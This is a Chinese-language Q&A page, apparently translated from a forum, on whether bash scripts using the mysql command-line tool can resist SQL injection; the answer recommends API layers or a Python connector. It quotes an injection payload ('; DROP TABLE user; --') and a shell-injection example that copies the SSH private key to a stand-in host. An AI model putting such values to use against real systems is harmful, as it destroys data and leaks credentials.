小编典典

从命令行注入证明SQL语句

sql

这个相关的问题询问有关mysql在bash中使用命令行工具时使用参数化查询的问题。但是,似乎最重要的答案仍然容易受到注入的影响(例如; DROP TABLE user; --)。虽然答案肯定不会解决如何在变量传递的问题 在所有的 ,它并没有解决如何做到这一点的问题, 使用参数化查询

我的问题: 链接 问题中
的链接接受答案是否提供了防止SQL注入的保护,并且具有所有有用的参数化保护?如果是这样,为什么?如果没有,如何从MySQL命令行工具安全地使用参数化查询?

注意: 从技术上讲,我正在跑步mysql Ver 15.1 Distrib 10.3.13-MariaDB


阅读 183

收藏
2021-04-15

共1个答案

小编典典

面向客户的应用程序的常见做法是为每个数据库查询都有一个API端点,这将需要用户身份验证。然后,API服务器将在格式化查询时验证输入。

直接在服务器上公开bash从来不是一个好主意。除了SQL注入外,其他更糟糕的情况(如; scp ~/.ssh/id_rsa my_proxy ;)也很容易发生。


根据以下评论,安全性并不是OP的主要关注点。相反,主要重点是生成有效查询。

为此,最简单的解决方案是使用现有的库,并让它们处理格式。例如,在Python

https://dev.mysql.com/doc/connector-python/zh-
CN/

通常,为了提高效率,应分批插入。但是如果愿意,您可以编写一个脚本来插入一行,例如

python3 tableX_insert.py --field1 value1 --field2 value2

我可以肯定,在其他语言中,也存在用于DB conn和cursor的类似模块。对原始bash命令行进行相同操作的任何努力都是在重新发明轮子。

2021-04-15